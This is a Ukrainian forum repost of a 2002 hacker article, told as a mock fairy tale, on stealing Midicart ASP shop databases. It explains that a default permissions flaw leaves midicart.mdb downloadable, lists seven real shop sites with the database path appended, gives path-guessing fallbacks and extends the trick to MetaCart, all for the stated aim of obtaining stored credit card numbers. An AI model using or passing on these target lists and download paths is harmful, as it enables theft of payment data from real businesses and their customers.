Як отримати доступ до баз даних Midicart ASP і т.п.

Знайшов зовсім стару свою статтю, опубліковану на hack-info.ru 18.10.02. Може комусь в якості самоосвіти і стати в нагоді ;-). Пару раз зустрічав її в інеті, практично без змін, але під іншими ніками.
Абидно, та Smile sad .

Привіт мої маленькі друзі. Сьогодні дідусь Durito розповість вам казочку про те, як отримати доступ до баз даних Midicart ASP і т.п. А як ви напевно знаєте, в базах даних зберігатися багато чого вкусьненького, особливо цукерки сс, які ми так всі любимо.
Тож почнемо. У певному Царстві, в якомусь державі пройшов слух, що в системі Midicart ASP (а це система електронної комерції від Coxco Support для Microsoft Windows) в установці за замовчуванням задаються неправильні дозволу на файл midicart.mdb.
У цьому файлі зберігається чутлива інформація, типу номерів кредитних карток та іншої пізнавальної інформації. І мовляв кожен кмітливий хлопчик може забрати її звідти такою командою http://www.xxxxxxx.com/shoppingdirectory/midicart.mdb
Дізнавшись про це сміливий герой тут же біжить на www.yahoo.com або куди ще й набирає Midicart ASP і отримуємо списочок чарівних місць, а виглядають вони приблизно так:
http://web.pincom.net/midicart/
http://www.dannermfg.com/midicart_asp/shop/default.asp
http://www.print-it.nu/butik/main.asp
http://www.kabelshop.dk/top.asp
http://www.gmusik.dk/shop/
http://www.bursdagbutikken.no/meny.asp
http://www.computerfolks.net/cart/middle_right.asp
А далі казковий герой бере магічне слово midicart.mdb, і підставляє його
http://web.pincom.net/midicart/midicart.mdb
http://www.dannermfg.com/midicart_asp/shop/midicart.mdb
http://www.print-it.nu/butik/midicart.mdb
http://www.kabelshop.dk/midicart.mdb
http://www.gmusik.dk/shop/midicart.mdb
http://www.bursdagbutikken.no/midicart.mdb
http://www.computerfolks.net/cart/midicart.mdb
Якщо щось не працює наприклад в адресі
http://www.dannermfg.com/midicart_asp/shop/default.asp, тоді підставляй чарівне midicart.mdb, ось так:
http://www.dannermfg.com/midicart_asp/midicart.mdb
http://www.dannermfg.com/midicart.mdb
А якщо ти скачав, та нічого не знайшов (сс наприклад), так це все витівки чорних адмінів, пробуй ще ... І так прибуде з тобою сила!
Ось і казочці кінець, а хто зрозумів молодець.

PS Чи можеш до речі застосувати свої нові чарівні здібності на систему MetaCart2.sql
http: //xxxshop/database/metacart.mdb
http: //xxxshop/metacart/database/metacart.mdb
і на деякі інші ;-)

Твій bug Durito.
_________________
EAT THE RICH!